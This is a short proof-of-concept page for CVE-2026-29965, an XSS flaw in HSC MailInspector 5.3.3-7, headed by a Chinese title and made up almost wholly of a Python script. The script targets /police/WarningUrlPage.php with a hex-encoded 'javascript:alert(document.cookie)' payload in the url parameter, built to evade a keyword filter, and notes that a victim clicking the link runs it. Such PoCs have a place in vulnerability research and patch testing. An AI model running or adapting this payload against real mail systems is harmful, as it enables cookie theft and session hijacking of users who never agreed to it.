CVE-2026-29965 HSC MailInspector跨站脚本漏洞

import requests """ PoC for CVE-2026-29965 Target: HSC MailInspector 5.3.3-7 Endpoint: /police/WarningUrlPage.php Description: Demonstrates XSS via obfuscated JavaScript syntax. """ target_ip = "192.168.1.100" # Replace with actual target IP base_url = f"http://{target_ip}/police/WarningUrlPage.php" # Example payload using obfuscated syntax (hex encoded) # The filter might look for 'javascript:' but miss the encoded version payload = "?url=javascript:%61%6c%65%72%74%28%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%29" try: response = requests.get(base_url + payload, timeout=5) if response.status_code == 200: print(f"[+] Request sent to {base_url + payload}") print("[+] If the victim clicks this link, the encoded JS executes.") print("[+] Payload decodes to: javascript:alert(document.cookie)") else: print("[-] Target did not respond as expected.") except Exception as e: print(f"Error: {e}")